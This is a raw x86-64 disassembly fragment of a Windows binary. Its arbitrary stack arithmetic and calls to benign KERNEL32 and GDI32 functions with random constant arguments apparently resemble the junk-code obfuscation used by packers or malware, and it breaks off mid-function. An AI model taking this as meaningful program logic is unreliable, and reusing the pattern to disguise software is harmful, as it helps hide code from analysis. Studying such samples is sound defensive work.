cmp dword [rsp + 0x3cec], 0
je 0x140011841
jmp 0x1401028c1
lea rax, [rsp + 0x6040]
mov qword [rsp + 0x7bf0], rax
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68c8], rax
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1368], ax
lea rax, [rsp + 0x3cf0]
mov qword [rsp + 0x7bf8], rax
mov eax, dword [rsp + 0x3c20]
mov ecx, dword [0x140120398]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cd8], eax
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0x2aa], al
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x7b90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1374]
sub eax, ecx
mov word [0x1401203c4], ax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
mov dword [rsp + 0x3cf4], eax
cmp dword [rsp + 0x3cf4], 0
je 0x140011941
jmp 0x140011a55
mov rax, qword [rsp + 0x7a78]
movzx eax, word [rax]
mov word [rsp + 0x1388], ax
movzx eax, byte [rsp + 0x2a7]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a6], al
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x222], al
mov eax, dword [0x140120398]
cdq
idiv dword [rsp + 0x3b20]
mov dword [rsp + 0x3c14], eax
movzx eax, byte [rsp + 0x2a6]
mov byte [rsp + 0x3cf8], al
cmp byte [rsp + 0x3cf8], 0x5c
je 0x140011a3c
cmp byte [rsp + 0x3cf8], 0x8f
je 0x1400119cc
jmp 0x140011a50
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b90], rax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov dword [rsp + 0x3cfc], eax
movsx eax, word [rsp + 0x1314]
movsx ecx, word [rsp + 0x134c]
sar eax, cl
mov word [rsp + 0x1200], ax
lea rax, [rsp + 0x116]
mov qword [rsp + 0x7c00], rax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x3be4], eax
jmp 0x140011a50
mov rdx, qword [rsp + 0x7b90]
movzx ecx, byte [0x140127270]
call fcn.1401034a0
jmp 0x140011ae0
movzx eax, word [rsp + 0x1368]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401203c4], ax
mov rax, qword [0x1401203b8]
mov rcx, qword [rsp + 0x7b58]
mov qword [rsp + 0x7c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c08]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7a50], rax
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x7bf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x68c8], rax
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x7a00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7ba0], rax
mov rax, qword [rsp + 0x7ab8]
mov rcx, qword [rsp + 0x79b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140127278]
mov edx, dword [rsp + 0x3ca0]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jl 0x140011bd1
movzx eax, word [0x1401203b0]
movzx ecx, word [rsp + 0x1350]
add eax, ecx
mov word [rsp + 0x136c], ax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a3]
and eax, ecx
mov rcx, qword [rsp + 0x7a28]
mov byte [rcx], al
mov rcx, qword [rsp + 0x7bb0]
call qword [sym.imp.GDI32.dll_StrokePath]
mov dword [rsp + 0x3c28], eax
mov rax, qword [rsp + 0x7a88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x36f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c3c], eax
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x7a80]
mov qword [rsp + 0x7c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c10]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x7ab8]
mov ecx, dword [rsp + 0x3cb4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7ab8]
mov dword [rcx], eax
call fcn.140103580
jmp 0x140011c54
lea rcx, [rsp + 0x7c18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x7c00]
movzx eax, byte [rax]
mov byte [rsp + 0x3d00], al
cmp byte [rsp + 0x3d00], 0xd7
je 0x140011bfd
jmp 0x140011c54
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140120038], al
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1294]
shl eax, cl
mov word [rsp + 0x1200], ax
mov rax, qword [0x140127268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1388], ax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7998]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7b90]
mov rdx, qword [0x1401203a8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x140011d75
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a7], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1374], ax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3ca0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x37ac], eax
lea rax, [rsp + 0x7c20]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x1e
mov rax, qword [rsp + 0x7c28]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x135c]
mov qword [rsp + 0x20], rax
mov r9d, 0x61
mov r8d, 0xe8
mov edx, 0x7a
mov rcx, qword [rsp + 0x7b10]
call qword [sym.imp.GDI32.dll_ExtTextOutW]
mov dword [rsp + 0x3c1c], eax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7998]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7ac0]
mov qword [rcx], rax
mov rdx, qword [rsp + 0x7b90]
mov rax, qword [rsp + 0x7c00]
movzx ecx, byte [rax]
call fcn.1401034a0
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov dword [rsp + 0x3d04], eax
cmp dword [rsp + 0x3d04], 0xc3f
je 0x140011d95
jmp 0x140011db4
mov rax, qword [rsp + 0x7978]
mov ecx, dword [rsp + 0x3c3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c04], eax
jmp 0x140011efa
mov rax, qword [rsp + 0x7a00]
mov rcx, qword [0x1401203b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b58]
mov rdx, qword [rsp + 0x7bf0]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jle 0x140011eb9
mov rax, qword [rsp + 0x7360]
mov rcx, qword [rsp + 0x79f8]
mov qword [rsp + 0x7c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c30]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x68e8], rax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1388]
shl eax, cl
mov rcx, qword [0x140127268]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2a5]
movzx ecx, byte [rsp + 0x2a9]
sub eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1378]
add eax, ecx
mov word [rsp + 0x1380], ax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2aa]
and eax, ecx
mov byte [rsp + 0x2a3], al
mov r9d, 0xdd
lea r8, [fcn.140103400]
mov rdx, qword [rsp + 0x7b60]
mov rcx, qword [rsp + 0x7c38]
call qword [sym.imp.GDI32.dll_EnumFontFamiliesW]
mov dword [rsp + 0x3680], eax
jmp 0x140011efa
mov rax, qword [rsp + 0x7bf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov qword [rsp + 0x7c40], rax
lea rax, [rsp + 0x3c20]
mov qword [rsp + 0x7c48], rax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bc8]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x1350]
movzx edx, word [0x1401203c4]
add ecx, edx
cmp eax, ecx
jle 0x140011ff5
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1200]
add eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
movzx edx, byte [rsp + 0x2a2]
movzx ecx, byte [rsp + 0x2a0]
call fcn.140103460
movzx eax, byte [rsp + 0x2a8]
movzx ecx, byte [rsp + 0x116]
sub eax, ecx
mov byte [0x140127270], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1348]
add eax, ecx
mov word [rsp + 0x10b0], ax
mov rax, qword [0x140127280]
mov rcx, qword [rsp + 0x7a00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68e8], rax
call fcn.140103580
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x68c8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x68e8], rax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
mov byte [rsp + 0x3d08], al
cmp byte [rsp + 0x3d08], 0x70
je 0x14001209e
cmp byte [rsp + 0x3d08], 0xf3
je 0x140012024
jmp 0x14010287e
movzx ecx, byte [rsp + 0x1ba]
call fcn.140103550
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3cf0]
shl eax, cl
mov dword [rsp + 0x36f8], eax
mov dword [rsp + 0x20], 0xb5
mov r9d, 0xa9
mov r8d, 0xd1
mov edx, 0xc9
mov rcx, qword [rsp + 0x7bb0]
call qword [sym.imp.GDI32.dll_IntersectClipRect]
mov dword [rsp + 0x3ca0], eax
mov rax, qword [rsp + 0x7c48]
mov rcx, qword [rsp + 0x79b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cb4], eax
jmp 0x14010287e
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
movzx ecx, word [0x1401203c4]
sub eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140120039], al
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x6040]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6fc8], rax
mov r9d, 1
lea r8, [rsp + 0x79e0]
mov rdx, qword [rsp + 0x7c18]
mov rcx, qword [rsp + 0x7a90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3d0c], eax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [0x140120398]
imul ecx, dword [rax]
mov eax, ecx
mov ecx, dword [rsp + 0x3be8]
mov edx, dword [rsp + 0x3c14]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x1401027cb
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2a6], al
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
mov byte [0x140127261], al
mov rax, qword [0x140127268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
sar eax, cl
mov rcx, qword [rsp + 0x7aa0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x9d4]
and ecx, edx
cmp eax, ecx
jle 0x1400122d7
movsx eax, word [rsp + 0x1294]
movsx ecx, word [0x1401203c0]
add eax, ecx
mov word [rsp + 0x9d4], ax
movzx eax, word [rsp + 0x10b0]
mov rcx, qword [rsp + 0x7bc8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1374], ax
mov dword [rsp + 0x50], 0x59
mov dword [rsp + 0x48], 0xea
mov dword [rsp + 0x40], 0x64
mov dword [rsp + 0x38], 0xb8
mov dword [rsp + 0x30], 0x6d
mov rax, qword [rsp + 0x7b70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5d
mov r9d, 0x2a
mov r8d, 0xf7
mov edx, 0x90
mov rcx, qword [rsp + 0x7b08]
call qword [sym.imp.GDI32.dll_StretchBlt]
mov dword [rsp + 0x3d10], eax
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x6040]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x79f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7bf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a58]
movzx ecx, byte [rax]
call fcn.140103550
mov rax, qword [rsp + 0x7ab8]
mov ecx, dword [rsp + 0x3cd8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cb4], eax
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x7968]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ae8], rax
jmp 0x140012470
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
mov rcx, qword [0x140127268]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x1200]
mov rdx, qword [rsp + 0x7990]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x140012470
mov ecx, 0xc
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x3d14], eax
mov eax, dword [rsp + 0x3c00]
mov dword [rsp + 0x3d18], eax
lea rcx, [rsp + 0x7b88]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7a50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7988]
mov rdx, qword [rsp + 0x6040]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x1400123ac
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1294], ax
mov rax, qword [rsp + 0x7bb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
and eax, ecx
mov byte [0x140120038], al
call fcn.140103400
jmp 0x140012470
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1388]
sar eax, cl
movsx ecx, word [0x1401203b4]
movsx edx, word [rsp + 0x9d4]
xor ecx, edx
cmp eax, ecx
jl 0x140012470
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
mov dword [rsp + 0x3d1c], eax
cmp dword [rsp + 0x3d1c], 0
je 0x1400123f8
jmp 0x140012453
movsx eax, byte [rsp + 0x2aa]
mov rcx, qword [rsp + 0x7be0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a3], al
lea rax, [rsp + 0x1380]
mov qword [rsp + 0x7c50], rax
mov rax, qword [rsp + 0x7a50]
mov rcx, qword [0x140127280]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a18], rax
lea rax, [rsp + 0x1370]
mov qword [rsp + 0x7c58], rax
jmp 0x140012470
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [rsp + 0x3c90]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7a88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ab8]
mov eax, dword [rax]
mov ecx, dword [0x140120398]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cd8], eax
mov rax, qword [rsp + 0x6ae8]
mov qword [rsp + 0x7c60], rax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [0x1401203b4]
sub eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140127261], al
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
imul rax, qword [rsp + 0x7988]
mov qword [rsp + 0x7a50], rax
lea rdx, [rsp + 0x13eb8]
mov rcx, qword [rsp + 0x7b18]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3c60], eax
movsx eax, word [rsp + 0x1294]
mov dword [rsp + 0x3d20], eax
cmp dword [rsp + 0x3d20], 0
je 0x1400125a6
cmp dword [rsp + 0x3d20], 0x2c2
je 0x140012539
jmp 0x140102723
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a80]
mov qword [rsp + 0x7c68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c68]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x79c0], rax
mov eax, dword [rsp + 0x3c3c]
mov ecx, dword [rsp + 0x3c04]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d18], eax
movsx eax, byte [0x14012728a]
mov rcx, qword [rsp + 0x7be0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2a3], al
jmp 0x140102723
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7aa0]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0x9d4]
movsx edx, word [rsp + 0x1314]
add ecx, edx
cmp eax, ecx
je 0x1400126bf
mov rax, qword [rsp + 0x68c8]
mov rcx, qword [rsp + 0x7a18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x7bf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a18], rax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ac0]
mov qword [rsp + 0x7c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c70]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cd8], eax
mov rax, qword [rsp + 0x7978]
mov ecx, dword [rsp + 0x3cf0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1388]
shl eax, cl
mov word [rsp + 0x1314], ax
movzx eax, byte [rsp + 0x2a6]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x2a5], al
jmp 0x1401026a6
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1380]
and eax, ecx
mov word [0x1401203c8], ax
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [0x140127280]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7300], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x6040]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x68c8], rax
cmp dword [rsp + 0x3c84], 0x7c7d
jbe 0x140012c4a
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x7a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x7ab8]
mov rcx, qword [rsp + 0x79b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x361c], eax
movsx eax, byte [0x14012728b]
mov rcx, qword [rsp + 0x7b98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x29f], al
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [rsp + 0x3c34]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cc8], eax
movzx eax, byte [rsp + 0x1ba]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7ab0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1368]
shl eax, cl
mov word [0x1401203b0], ax
lea rcx, [rsp + 0x13738]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1200], ax
movzx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0x7c00]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2a5], al
movzx eax, word [rsp + 0x1368]
mov rcx, qword [rsp + 0x7c58]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x135c], ax
mov rax, qword [0x1401203a8]
mov rcx, qword [rsp + 0x7968]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b90], rax
mov rax, qword [rsp + 0x7a88]
mov ecx, dword [rsp + 0x3cf0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c34], eax
mov rax, qword [rsp + 0x7c48]
mov ecx, dword [rsp + 0x3cd8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
lea rcx, [rsp + 0x7a10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x9d4]
sub eax, ecx
mov word [rsp + 0x1388], ax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1368]
sub eax, ecx
mov word [rsp + 0x1350], ax
movzx eax, byte [rsp + 0x2a9]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140127261], al
mov rax, qword [rsp + 0x7bf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6fc8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b58]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7a1d
mov rcx, qword [rsp + 0x7a68]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3c54], eax
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x6fc8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x7a50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x134c], ax
movsx eax, byte [rsp + 0x2a3]
movsx ecx, byte [rsp + 0x2aa]
add eax, ecx
mov byte [rsp + 0x8b], al
mov eax, dword [rsp + 0x3cfc]
movzx ecx, al
mov eax, dword [rsp + 0x3cf0]
shl eax, cl
mov dword [rsp + 0x3c34], eax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [0x140120398]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be8], eax
mov eax, dword [rsp + 0x3c84]
sub eax, 0x12
mov dword [rsp + 0x3c84], eax
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a80]
mov qword [rsp + 0x7c78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c78]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x7a80]
mov qword [rcx], rax
movzx eax, word [rsp + 0x136c]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401203c8], ax
mov rax, qword [rsp + 0x7bb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ba]
and eax, ecx
mov rcx, qword [rsp + 0x7c00]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x3d24], eax
mov rax, qword [rsp + 0x7bb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ba], al
movzx eax, word [rsp + 0x136c]
movzx ecx, word [rsp + 0x1350]
add eax, ecx
mov word [rsp + 0x135c], ax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
mov eax, dword [rsp + 0x3c34]
mov ecx, dword [rsp + 0x3cc8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x7c60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x37ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x9d4]
sub eax, ecx
mov word [0x1401203c0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movzx eax, word [0x1401203c8]
movzx ecx, word [rsp + 0x1368]
xor eax, ecx
mov word [rsp + 0x1348], ax
movzx eax, byte [rsp + 0x222]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2a5], al
mov rax, qword [rsp + 0x7b98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2a4], al
mov rax, qword [rsp + 0x7a18]
movzx ecx, al
mov rax, qword [rsp + 0x7360]
sar rax, cl
mov rcx, qword [rsp + 0x7bf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7c40]
mov rcx, qword [rsp + 0x79c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c60], rax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x3d24], eax
jmp 0x140012713
mov eax, dword [rsp + 0x3b20]
mov dword [rsp + 0x3d28], eax
mov rax, qword [rsp + 0x7c58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bc8]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [0x1401203c4]
mov rdx, qword [rsp + 0x79f0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x140012e2c
mov rax, qword [rsp + 0x6ae8]
mov qword [rsp + 0x7c80], rax
cmp qword [rsp + 0x7c80], 0
je 0x140012cc4
movabs rax, 0x74dc8c4d80ff96
cmp qword [rsp + 0x7c80], rax
je 0x140012d4a
jmp 0x140012e2c
mov rax, qword [rsp + 0x7990]
